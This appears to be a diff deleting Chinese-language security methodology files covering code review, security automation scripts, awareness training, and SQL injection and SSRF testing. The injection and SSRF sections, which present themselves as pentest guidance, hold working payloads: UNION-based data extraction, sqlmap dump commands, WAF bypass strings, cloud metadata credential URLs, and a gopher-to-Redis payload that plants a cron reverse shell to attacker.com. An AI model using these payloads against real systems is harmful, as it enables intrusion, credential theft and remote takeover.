||||
**危险代码:**
|
||||
```java
|
||||
String apiKey = "1234567890abcdef";
|
||||
String password = "admin123";
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String apiKey = System.getenv("API_KEY");
|
||||
String password = keyStore.getPassword("db_password");
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### SonarQube
|
||||
|
||||
```bash
|
||||
# 启动SonarQube
|
||||
docker run -d -p 9000:9000 sonarqube
|
||||
|
||||
# 运行扫描
|
||||
sonar-scanner \
|
||||
-Dsonar.projectKey=myproject \
|
||||
-Dsonar.sources=. \
|
||||
-Dsonar.host.url=http://localhost:9000
|
||||
```
|
||||
|
||||
### Semgrep
|
||||
|
||||
```bash
|
||||
# 安装
|
||||
pip install semgrep
|
||||
|
||||
# 运行扫描
|
||||
semgrep --config=auto .
|
||||
|
||||
# 使用规则
|
||||
semgrep --config=p/security-audit .
|
||||
```
|
||||
|
||||
### CodeQL
|
||||
|
||||
```bash
|
||||
# 创建数据库
|
||||
codeql database create database --language=java --source-root=.
|
||||
|
||||
# 运行查询
|
||||
codeql database analyze database security-and-quality.qls --format=sarif-latest
|
||||
```
|
||||
|
||||
## 审查清单
|
||||
|
||||
### 输入验证
|
||||
- [ ] 所有用户输入都经过验证
|
||||
- [ ] 使用白名单验证
|
||||
- [ ] 验证数据类型和范围
|
||||
- [ ] 处理特殊字符
|
||||
|
||||
### 输出编码
|
||||
- [ ] HTML输出编码
|
||||
- [ ] URL编码
|
||||
- [ ] JavaScript编码
|
||||
- [ ] SQL参数化
|
||||
|
||||
### 认证授权
|
||||
- [ ] 强密码策略
|
||||
- [ ] 安全的会话管理
|
||||
- [ ] 权限验证
|
||||
- [ ] 多因素认证
|
||||
|
||||
### 加密
|
||||
- [ ] 使用强加密算法
|
||||
- [ ] 密钥安全存储
|
||||
- [ ] 传输加密
|
||||
- [ ] 存储加密
|
||||
|
||||
### 错误处理
|
||||
- [ ] 不泄露敏感信息
|
||||
- [ ] 统一错误响应
|
||||
- [ ] 记录错误日志
|
||||
- [ ] 异常处理
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 安全编码规范
|
||||
|
||||
- 遵循OWASP Top 10
|
||||
- 使用安全编码指南
|
||||
- 代码审查流程
|
||||
- 安全培训
|
||||
|
||||
### 2. 自动化工具
|
||||
|
||||
- 集成SAST工具
|
||||
- CI/CD安全检查
|
||||
- 自动化扫描
|
||||
- 结果分析
|
||||
|
||||
### 3. 代码审查流程
|
||||
|
||||
- 同行审查
|
||||
- 安全专家审查
|
||||
- 定期审查
|
||||
- 记录问题
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 结合工具和人工审查
|
||||
- 关注业务逻辑漏洞
|
||||
- 定期更新工具规则
|
||||
- 建立安全编码文化
|
||||
@@ -1,383 +0,0 @@
|
||||
---
|
||||
name: security-automation
|
||||
description: 安全自动化的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全自动化
|
||||
|
||||
## 概述
|
||||
|
||||
安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。
|
||||
|
||||
## 自动化场景
|
||||
|
||||
### 1. 漏洞扫描
|
||||
|
||||
**自动化扫描:**
|
||||
- 定期扫描
|
||||
- CI/CD集成
|
||||
- 结果分析
|
||||
- 报告生成
|
||||
|
||||
### 2. 安全测试
|
||||
|
||||
**自动化测试:**
|
||||
- 单元测试
|
||||
- 集成测试
|
||||
- 安全测试
|
||||
- 回归测试
|
||||
|
||||
### 3. 事件响应
|
||||
|
||||
**自动化响应:**
|
||||
- 事件检测
|
||||
- 自动遏制
|
||||
- 通知告警
|
||||
- 证据收集
|
||||
|
||||
### 4. 合规检查
|
||||
|
||||
**自动化合规:**
|
||||
- 配置检查
|
||||
- 策略验证
|
||||
- 报告生成
|
||||
- 修复建议
|
||||
|
||||
## 工具和框架
|
||||
|
||||
### 漏洞扫描自动化
|
||||
|
||||
**使用Nessus API:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
# 创建扫描
|
||||
def create_scan(target, scan_name):
|
||||
url = "https://nessus:8834/scans"
|
||||
headers = {"X-ApiKeys": "access_key:secret_key"}
|
||||
data = {
|
||||
"uuid": "template-uuid",
|
||||
"settings": {
|
||||
"name": scan_name,
|
||||
"text_targets": target
|
||||
}
|
||||
}
|
||||
response = requests.post(url, json=data, headers=headers)
|
||||
return response.json()
|
||||
|
||||
# 启动扫描
|
||||
def launch_scan(scan_id):
|
||||
url = f"https://nessus:8834/scans/{scan_id}/launch"
|
||||
headers = {"X-ApiKeys": "access_key:secret_key"}
|
||||
response = requests.post(url, headers=headers)
|
||||
return response.json()
|
||||
```
|
||||
|
||||
**使用OpenVAS API:**
|
||||
```python
|
||||
from gvm.connections import UnixSocketConnection
|
||||
from gvm.protocols.gmp import Gmp
|
||||
|
||||
# 连接OpenVAS
|
||||
connection = UnixSocketConnection()
|
||||
gmp = Gmp(connection)
|
||||
gmp.authenticate('username', 'password')
|
||||
|
||||
# 创建扫描任务
|
||||
target = gmp.create_target(name='target', hosts=['192.168.1.0/24'])
|
||||
config = gmp.get_configs()[0]
|
||||
scanner = gmp.get_scanners()[0]
|
||||
|
||||
task = gmp.create_task(
|
||||
name='scan_task',
|
||||
config_id=config['id'],
|
||||
target_id=target['id'],
|
||||
scanner_id=scanner['id']
|
||||
)
|
||||
|
||||
# 启动扫描
|
||||
gmp.start_task(task['id'])
|
||||
```
|
||||
|
||||
### CI/CD集成
|
||||
|
||||
**Jenkins Pipeline:**
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
stages {
|
||||
stage('Security Scan') {
|
||||
steps {
|
||||
sh 'npm audit'
|
||||
sh 'snyk test'
|
||||
sh 'sonar-scanner'
|
||||
}
|
||||
}
|
||||
stage('Vulnerability Scan') {
|
||||
steps {
|
||||
sh 'nmap --script vuln target'
|
||||
}
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
publishHTML([
|
||||
reportDir: 'reports',
|
||||
reportFiles: 'report.html',
|
||||
reportName: 'Security Report'
|
||||
])
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**GitHub Actions:**
|
||||
```yaml
|
||||
name: Security Scan
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
security-scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Run Snyk
|
||||
uses: snyk/actions/node@master
|
||||
env:
|
||||
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
|
||||
- name: Run SonarQube
|
||||
uses: sonarsource/sonarqube-scan-action@master
|
||||
env:
|
||||
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
|
||||
```
|
||||
|
||||
### 安全测试自动化
|
||||
|
||||
**使用OWASP ZAP:**
|
||||
```python
|
||||
from zapv2 import ZAPv2
|
||||
|
||||
# 启动ZAP
|
||||
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'})
|
||||
|
||||
# 开始扫描
|
||||
zap.urlopen('http://target.com')
|
||||
zap.spider.scan('http://target.com')
|
||||
while int(zap.spider.status()) < 100:
|
||||
time.sleep(1)
|
||||
|
||||
# 主动扫描
|
||||
zap.ascan.scan('http://target.com')
|
||||
while int(zap.ascan.status()) < 100:
|
||||
time.sleep(1)
|
||||
|
||||
# 获取结果
|
||||
alerts = zap.core.alerts()
|
||||
```
|
||||
|
||||
**使用Burp Suite:**
|
||||
```python
|
||||
from burp import IBurpExtender, IScannerCheck
|
||||
|
||||
class BurpExtender(IBurpExtender, IScannerCheck):
|
||||
def registerExtenderCallbacks(self, callbacks):
|
||||
self._callbacks = callbacks
|
||||
self._helpers = callbacks.getHelpers()
|
||||
callbacks.setExtensionName("Security Automation")
|
||||
callbacks.registerScannerCheck(self)
|
||||
|
||||
def doPassiveScan(self, baseRequestResponse):
|
||||
# 被动扫描逻辑
|
||||
return None
|
||||
|
||||
def doActiveScan(self, baseRequestResponse, insertionPoint):
|
||||
# 主动扫描逻辑
|
||||
return None
|
||||
```
|
||||
|
||||
### 事件响应自动化
|
||||
|
||||
**使用Splunk:**
|
||||
```python
|
||||
import splunklib.client as client
|
||||
|
||||
# 连接Splunk
|
||||
service = client.connect(
|
||||
host='splunk.example.com',
|
||||
port=8089,
|
||||
username='admin',
|
||||
password='password'
|
||||
)
|
||||
|
||||
# 搜索安全事件
|
||||
search_query = 'index=security event_type="malware"'
|
||||
kwargs = {"earliest_time": "-1h", "latest_time": "now"}
|
||||
search = service.jobs.create(search_query, **kwargs)
|
||||
|
||||
# 处理结果
|
||||
for result in search:
|
||||
if result['severity'] == 'high':
|
||||
# 自动响应
|
||||
send_alert(result)
|
||||
isolate_system(result['host'])
|
||||
```
|
||||
|
||||
**使用ELK Stack:**
|
||||
```python
|
||||
from elasticsearch import Elasticsearch
|
||||
|
||||
# 连接Elasticsearch
|
||||
es = Elasticsearch(['localhost:9200'])
|
||||
|
||||
# 搜索安全事件
|
||||
query = {
|
||||
"query": {
|
||||
"match": {
|
||||
"event_type": "intrusion"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = es.search(index="security", body=query)
|
||||
|
||||
# 自动响应
|
||||
for hit in results['hits']['hits']:
|
||||
if hit['_source']['severity'] == 'critical':
|
||||
# 自动遏制
|
||||
block_ip(hit['_source']['src_ip'])
|
||||
send_alert(hit['_source'])
|
||||
```
|
||||
|
||||
## 自动化脚本
|
||||
|
||||
### 漏洞扫描脚本
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import json
|
||||
import smtplib
|
||||
from email.mime.text import MIMEText
|
||||
|
||||
def run_nmap_scan(target):
|
||||
"""运行Nmap扫描"""
|
||||
result = subprocess.run(
|
||||
['nmap', '--script', 'vuln', '-oJ', '-', target],
|
||||
capture_output=True,
|
||||
text=True
|
||||
)
|
||||
return json.loads(result.stdout)
|
||||
|
||||
def analyze_results(results):
|
||||
"""分析扫描结果"""
|
||||
vulnerabilities = []
|
||||
for host in results.get('hosts', []):
|
||||
for port in host.get('ports', []):
|
||||
for script in port.get('scripts', []):
|
||||
if script.get('id') == 'vuln':
|
||||
vulnerabilities.append({
|
||||
'host': host['address'],
|
||||
'port': port['portid'],
|
||||
'vuln': script.get('output', '')
|
||||
})
|
||||
return vulnerabilities
|
||||
|
||||
def send_report(vulnerabilities):
|
||||
"""发送报告"""
|
||||
if vulnerabilities:
|
||||
msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞")
|
||||
msg['Subject'] = '漏洞扫描报告'
|
||||
msg['From'] = 'security@example.com'
|
||||
msg['To'] = 'admin@example.com'
|
||||
|
||||
server = smtplib.SMTP('smtp.example.com')
|
||||
server.send_message(msg)
|
||||
server.quit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
target = '192.168.1.0/24'
|
||||
results = run_nmap_scan(target)
|
||||
vulnerabilities = analyze_results(results)
|
||||
send_report(vulnerabilities)
|
||||
```
|
||||
|
||||
### 配置检查脚本
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import boto3
|
||||
import json
|
||||
|
||||
def check_s3_buckets():
|
||||
"""检查S3存储桶安全配置"""
|
||||
s3 = boto3.client('s3')
|
||||
buckets = s3.list_buckets()
|
||||
|
||||
issues = []
|
||||
for bucket in buckets['Buckets']:
|
||||
# 检查公开访问
|
||||
try:
|
||||
acl = s3.get_bucket_acl(Bucket=bucket['Name'])
|
||||
for grant in acl.get('Grants', []):
|
||||
if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
|
||||
issues.append({
|
||||
'bucket': bucket['Name'],
|
||||
'issue': 'Public access enabled'
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
# 检查加密
|
||||
try:
|
||||
encryption = s3.get_bucket_encryption(Bucket=bucket['Name'])
|
||||
except:
|
||||
issues.append({
|
||||
'bucket': bucket['Name'],
|
||||
'issue': 'Encryption not enabled'
|
||||
})
|
||||
|
||||
return issues
|
||||
|
||||
if __name__ == '__main__':
|
||||
issues = check_s3_buckets()
|
||||
print(json.dumps(issues, indent=2))
|
||||
```
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 自动化策略
|
||||
|
||||
- 识别可自动化场景
|
||||
- 制定自动化计划
|
||||
- 逐步实施
|
||||
- 持续改进
|
||||
|
||||
### 2. 工具选择
|
||||
|
||||
- 评估工具功能
|
||||
- 考虑集成性
|
||||
- 考虑成本
|
||||
- 测试验证
|
||||
|
||||
### 3. 流程设计
|
||||
|
||||
- 明确流程步骤
|
||||
- 定义触发条件
|
||||
- 设置异常处理
|
||||
- 记录操作日志
|
||||
|
||||
### 4. 监控和维护
|
||||
|
||||
- 监控自动化任务
|
||||
- 定期检查结果
|
||||
- 更新规则和脚本
|
||||
- 优化性能
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 确保自动化准确性
|
||||
- 设置适当的权限
|
||||
- 保护自动化凭证
|
||||
- 定期审查自动化规则
|
||||
@@ -1,285 +0,0 @@
|
||||
---
|
||||
name: security-awareness-training
|
||||
description: 安全意识培训的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全意识培训
|
||||
|
||||
## 概述
|
||||
|
||||
安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。
|
||||
|
||||
## 培训目标
|
||||
|
||||
### 1. 知识提升
|
||||
|
||||
**目标:**
|
||||
- 了解安全威胁
|
||||
- 识别安全风险
|
||||
- 掌握防护措施
|
||||
- 理解安全政策
|
||||
|
||||
### 2. 行为改变
|
||||
|
||||
**目标:**
|
||||
- 养成安全习惯
|
||||
- 遵守安全规范
|
||||
- 主动报告事件
|
||||
- 参与安全活动
|
||||
|
||||
### 3. 文化建立
|
||||
|
||||
**目标:**
|
||||
- 建立安全文化
|
||||
- 提高安全意识
|
||||
- 促进安全协作
|
||||
- 持续改进
|
||||
|
||||
## 培训内容
|
||||
|
||||
### 1. 基础安全
|
||||
|
||||
**内容:**
|
||||
- 密码安全
|
||||
- 账户安全
|
||||
- 设备安全
|
||||
- 网络安全
|
||||
|
||||
**密码安全:**
|
||||
- 使用强密码
|
||||
- 密码不重用
|
||||
- 启用多因素认证
|
||||
- 定期更换密码
|
||||
|
||||
**账户安全:**
|
||||
- 保护账户信息
|
||||
- 不共享账户
|
||||
- 及时注销账户
|
||||
- 监控账户活动
|
||||
|
||||
### 2. 邮件安全
|
||||
|
||||
**内容:**
|
||||
- 识别钓鱼邮件
|
||||
- 处理可疑邮件
|
||||
- 附件安全
|
||||
- 链接安全
|
||||
|
||||
**钓鱼邮件识别:**
|
||||
- 检查发件人
|
||||
- 检查链接
|
||||
- 检查附件
|
||||
- 检查内容
|
||||
|
||||
**处理可疑邮件:**
|
||||
- 不点击链接
|
||||
- 不打开附件
|
||||
- 报告安全团队
|
||||
- 删除邮件
|
||||
|
||||
### 3. 社交工程
|
||||
|
||||
**内容:**
|
||||
- 识别社交工程
|
||||
- 防范社交工程
|
||||
- 报告可疑行为
|
||||
|
||||
**常见手段:**
|
||||
- 假冒身份
|
||||
- 紧急情况
|
||||
- 权威要求
|
||||
- 利益诱惑
|
||||
|
||||
**防范措施:**
|
||||
- 验证身份
|
||||
- 不轻信
|
||||
- 报告可疑
|
||||
- 遵守流程
|
||||
|
||||
### 4. 数据安全
|
||||
|
||||
**内容:**
|
||||
- 数据分类
|
||||
- 数据保护
|
||||
- 数据共享
|
||||
- 数据销毁
|
||||
|
||||
**数据保护:**
|
||||
- 加密敏感数据
|
||||
- 安全存储
|
||||
- 安全传输
|
||||
- 访问控制
|
||||
|
||||
**数据共享:**
|
||||
- 最小化共享
|
||||
- 使用安全渠道
|
||||
- 验证接收方
|
||||
- 记录共享
|
||||
|
||||
### 5. 物理安全
|
||||
|
||||
**内容:**
|
||||
- 设备安全
|
||||
- 办公环境
|
||||
- 访客管理
|
||||
- 应急响应
|
||||
|
||||
**设备安全:**
|
||||
- 锁定屏幕
|
||||
- 保护设备
|
||||
- 安全存储
|
||||
- 及时报告丢失
|
||||
|
||||
## 培训方法
|
||||
|
||||
### 1. 在线培训
|
||||
|
||||
**优势:**
|
||||
- 灵活方便
|
||||
- 可重复学习
|
||||
- 成本较低
|
||||
- 易于跟踪
|
||||
|
||||
**实施:**
|
||||
- 使用LMS平台
|
||||
- 制作培训内容
|
||||
- 设置学习路径
|
||||
- 跟踪学习进度
|
||||
|
||||
### 2. 面对面培训
|
||||
|
||||
**优势:**
|
||||
- 互动性强
|
||||
- 即时反馈
|
||||
- 深度讨论
|
||||
- 建立关系
|
||||
|
||||
**实施:**
|
||||
- 定期培训
|
||||
- 分组讨论
|
||||
- 案例分析
|
||||
- 实践演练
|
||||
|
||||
### 3. 模拟演练
|
||||
|
||||
**优势:**
|
||||
- 真实场景
|
||||
- 实践操作
|
||||
- 检验效果
|
||||
- 提高能力
|
||||
|
||||
**实施:**
|
||||
- 钓鱼邮件演练
|
||||
- 社交工程演练
|
||||
- 应急响应演练
|
||||
- 安全事件演练
|
||||
|
||||
## 培训计划
|
||||
|
||||
### 新员工培训
|
||||
|
||||
**内容:**
|
||||
- 安全政策
|
||||
- 基础安全知识
|
||||
- 工具使用
|
||||
- 报告流程
|
||||
|
||||
**时间:**
|
||||
- 入职时
|
||||
- 第一周
|
||||
- 持续跟进
|
||||
|
||||
### 定期培训
|
||||
|
||||
**内容:**
|
||||
- 最新威胁
|
||||
- 安全更新
|
||||
- 案例分析
|
||||
- 最佳实践
|
||||
|
||||
**频率:**
|
||||
- 季度培训
|
||||
- 年度培训
|
||||
- 专项培训
|
||||
|
||||
### 专项培训
|
||||
|
||||
**内容:**
|
||||
- 特定角色培训
|
||||
- 深度培训
|
||||
- 认证培训
|
||||
|
||||
**对象:**
|
||||
- 管理员
|
||||
- 开发人员
|
||||
- 安全人员
|
||||
- 管理层
|
||||
|
||||
## 评估方法
|
||||
|
||||
### 1. 知识测试
|
||||
|
||||
**方法:**
|
||||
- 在线测试
|
||||
- 问卷调查
|
||||
- 技能评估
|
||||
|
||||
**指标:**
|
||||
- 测试分数
|
||||
- 通过率
|
||||
- 改进情况
|
||||
|
||||
### 2. 行为观察
|
||||
|
||||
**方法:**
|
||||
- 模拟演练
|
||||
- 实际观察
|
||||
- 事件分析
|
||||
|
||||
**指标:**
|
||||
- 演练结果
|
||||
- 事件数量
|
||||
- 报告数量
|
||||
|
||||
### 3. 反馈收集
|
||||
|
||||
**方法:**
|
||||
- 培训反馈
|
||||
- 满意度调查
|
||||
- 建议收集
|
||||
|
||||
**指标:**
|
||||
- 满意度
|
||||
- 改进建议
|
||||
- 培训效果
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 内容设计
|
||||
|
||||
- 针对性强
|
||||
- 实用易懂
|
||||
- 案例丰富
|
||||
- 持续更新
|
||||
|
||||
### 2. 实施策略
|
||||
|
||||
- 定期培训
|
||||
- 多种形式
|
||||
- 互动参与
|
||||
- 跟踪效果
|
||||
|
||||
### 3. 文化建设
|
||||
|
||||
- 领导支持
|
||||
- 全员参与
|
||||
- 持续改进
|
||||
- 奖励机制
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 内容要实用
|
||||
- 形式要多样
|
||||
- 跟踪要持续
|
||||
- 改进要及时
|
||||
@@ -1,101 +0,0 @@
|
||||
---
|
||||
name: sql-injection-testing
|
||||
description: SQL注入测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SQL注入测试技能
|
||||
|
||||
## 概述
|
||||
|
||||
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 参数识别
|
||||
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
|
||||
- 重点关注:id、search、filter、sort等参数
|
||||
- 使用Burp Suite或类似工具拦截和修改请求
|
||||
|
||||
### 2. 基础检测
|
||||
- 单引号测试:`'` - 查看是否出现SQL错误
|
||||
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
|
||||
- 时间盲注:`' AND SLEEP(5)--`
|
||||
- 联合查询:`' UNION SELECT NULL--`
|
||||
|
||||
### 3. 数据库识别
|
||||
- MySQL:`' AND @@version LIKE '%mysql%'--`
|
||||
- PostgreSQL:`' AND version() LIKE '%PostgreSQL%'--`
|
||||
- MSSQL:`' AND @@version LIKE '%Microsoft%'--`
|
||||
- Oracle:`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
|
||||
|
||||
### 4. 信息提取
|
||||
- 数据库名:`' UNION SELECT database()--`
|
||||
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
|
||||
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
|
||||
- 数据提取:`' UNION SELECT username,password FROM users--`
|
||||
|
||||
## 工具使用
|
||||
|
||||
### sqlmap
|
||||
```bash
|
||||
# 基础扫描
|
||||
sqlmap -u "http://target.com/page?id=1"
|
||||
|
||||
# 指定参数
|
||||
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
|
||||
|
||||
# 指定数据库类型
|
||||
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
|
||||
|
||||
# 获取数据库列表
|
||||
sqlmap -u "http://target.com/page?id=1" --dbs
|
||||
|
||||
# 获取表
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
|
||||
|
||||
# 获取数据
|
||||
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
|
||||
```
|
||||
|
||||
### 手动测试
|
||||
- 使用Burp Suite的Repeater模块
|
||||
- 使用浏览器开发者工具
|
||||
- 编写Python脚本自动化测试
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### WAF绕过
|
||||
- 编码绕过:URL编码、Unicode编码、十六进制编码
|
||||
- 注释绕过:`/**/`, `--`, `#`
|
||||
- 大小写混合:`SeLeCt`, `UnIoN`
|
||||
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
|
||||
|
||||
### 示例
|
||||
```
|
||||
原始:' UNION SELECT NULL--
|
||||
绕过1:'/**/UNION/**/SELECT/**/NULL--
|
||||
绕过2:'%55nion%20select%20null--
|
||||
绕过3:'/*!UNION*//*!SELECT*/null--
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
1. 确认可以执行SQL语句
|
||||
2. 提取数据库信息验证
|
||||
3. 评估影响范围(数据泄露、权限提升等)
|
||||
4. 记录完整的POC(请求/响应)
|
||||
|
||||
### 报告要点
|
||||
- 漏洞位置和参数
|
||||
- 影响的数据和系统
|
||||
- 完整的利用步骤
|
||||
- 修复建议(参数化查询、输入验证等)
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对生产数据造成破坏
|
||||
- 谨慎使用DROP、DELETE等危险操作
|
||||
- 记录所有测试步骤以便复现
|
||||
@@ -1,266 +0,0 @@
|
||||
---
|
||||
name: ssrf-testing
|
||||
description: SSRF服务器端请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SSRF服务器端请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
|
||||
- 内网资源访问
|
||||
- 本地文件读取
|
||||
- 端口扫描
|
||||
- 绕过防火墙
|
||||
- 云服务元数据访问
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别SSRF输入点
|
||||
|
||||
**常见功能:**
|
||||
- URL预览/截图
|
||||
- 文件上传(远程URL)
|
||||
- Webhook回调
|
||||
- API代理
|
||||
- 数据导入
|
||||
- 图片处理
|
||||
- PDF生成
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试本地回环:**
|
||||
```
|
||||
http://127.0.0.1
|
||||
http://localhost
|
||||
http://0.0.0.0
|
||||
http://[::1]
|
||||
```
|
||||
|
||||
**测试内网IP:**
|
||||
```
|
||||
http://192.168.1.1
|
||||
http://10.0.0.1
|
||||
http://172.16.0.1
|
||||
```
|
||||
|
||||
**测试文件协议:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
```
|
||||
|
||||
### 3. 绕过技术
|
||||
|
||||
**IP地址编码:**
|
||||
```
|
||||
127.0.0.1 → 2130706433 (十进制)
|
||||
127.0.0.1 → 0x7f000001 (十六进制)
|
||||
127.0.0.1 → 0177.0.0.1 (八进制)
|
||||
```
|
||||
|
||||
**域名解析绕过:**
|
||||
```
|
||||
127.0.0.1.xip.io
|
||||
127.0.0.1.nip.io
|
||||
localtest.me
|
||||
```
|
||||
|
||||
**URL重定向:**
|
||||
```
|
||||
http://attacker.com/redirect → http://127.0.0.1
|
||||
```
|
||||
|
||||
**协议混淆:**
|
||||
```
|
||||
http://127.0.0.1:80@evil.com
|
||||
http://evil.com#@127.0.0.1
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 内网探测
|
||||
|
||||
**端口扫描:**
|
||||
```bash
|
||||
# 使用Burp Intruder
|
||||
http://127.0.0.1:22
|
||||
http://127.0.0.1:3306
|
||||
http://127.0.0.1:6379
|
||||
http://127.0.0.1:8080
|
||||
http://127.0.0.1:9200
|
||||
```
|
||||
|
||||
**识别服务:**
|
||||
- 响应时间差异
|
||||
- 错误信息
|
||||
- HTTP状态码
|
||||
- 响应内容
|
||||
|
||||
### 云服务元数据
|
||||
|
||||
**AWS EC2:**
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
|
||||
**Google Cloud:**
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
|
||||
```
|
||||
|
||||
**Azure:**
|
||||
```
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
|
||||
```
|
||||
|
||||
**阿里云:**
|
||||
```
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
||||
```
|
||||
|
||||
### 内网应用攻击
|
||||
|
||||
**访问管理后台:**
|
||||
```
|
||||
http://127.0.0.1:8080/admin
|
||||
http://192.168.1.100/phpmyadmin
|
||||
```
|
||||
|
||||
**Redis未授权访问:**
|
||||
```
|
||||
http://127.0.0.1:6379
|
||||
# 然后发送Redis命令
|
||||
```
|
||||
|
||||
**FastCGI攻击:**
|
||||
```
|
||||
http://127.0.0.1:9000
|
||||
# 利用FastCGI协议执行命令
|
||||
```
|
||||
|
||||
## 高级利用
|
||||
|
||||
### Gopher协议
|
||||
|
||||
**发送任意协议数据:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
**Redis命令执行:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
### Dict协议
|
||||
|
||||
**端口扫描和信息收集:**
|
||||
```
|
||||
dict://127.0.0.1:6379/info
|
||||
dict://127.0.0.1:3306/status
|
||||
```
|
||||
|
||||
### 文件协议
|
||||
|
||||
**读取本地文件:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
file:///proc/self/environ
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### SSRFmap
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python3 ssrfmap.py -r request.txt -p url
|
||||
|
||||
# 端口扫描
|
||||
python3 ssrfmap.py -r request.txt -p url -m portscan
|
||||
|
||||
# 云元数据
|
||||
python3 ssrfmap.py -r request.txt -p url -m cloud
|
||||
```
|
||||
|
||||
### Gopherus
|
||||
|
||||
```bash
|
||||
# 生成Gopher payload
|
||||
python gopherus.py --exploit redis
|
||||
```
|
||||
|
||||
### Burp Collaborator
|
||||
|
||||
**检测盲SSRF:**
|
||||
```
|
||||
http://burpcollaborator.net
|
||||
# 观察是否有DNS/HTTP请求
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制请求目标
|
||||
2. 验证内网资源访问或端口扫描
|
||||
3. 评估影响范围(内网渗透、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可访问的内网资源或端口
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(URL白名单、禁用危险协议等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **URL白名单**
|
||||
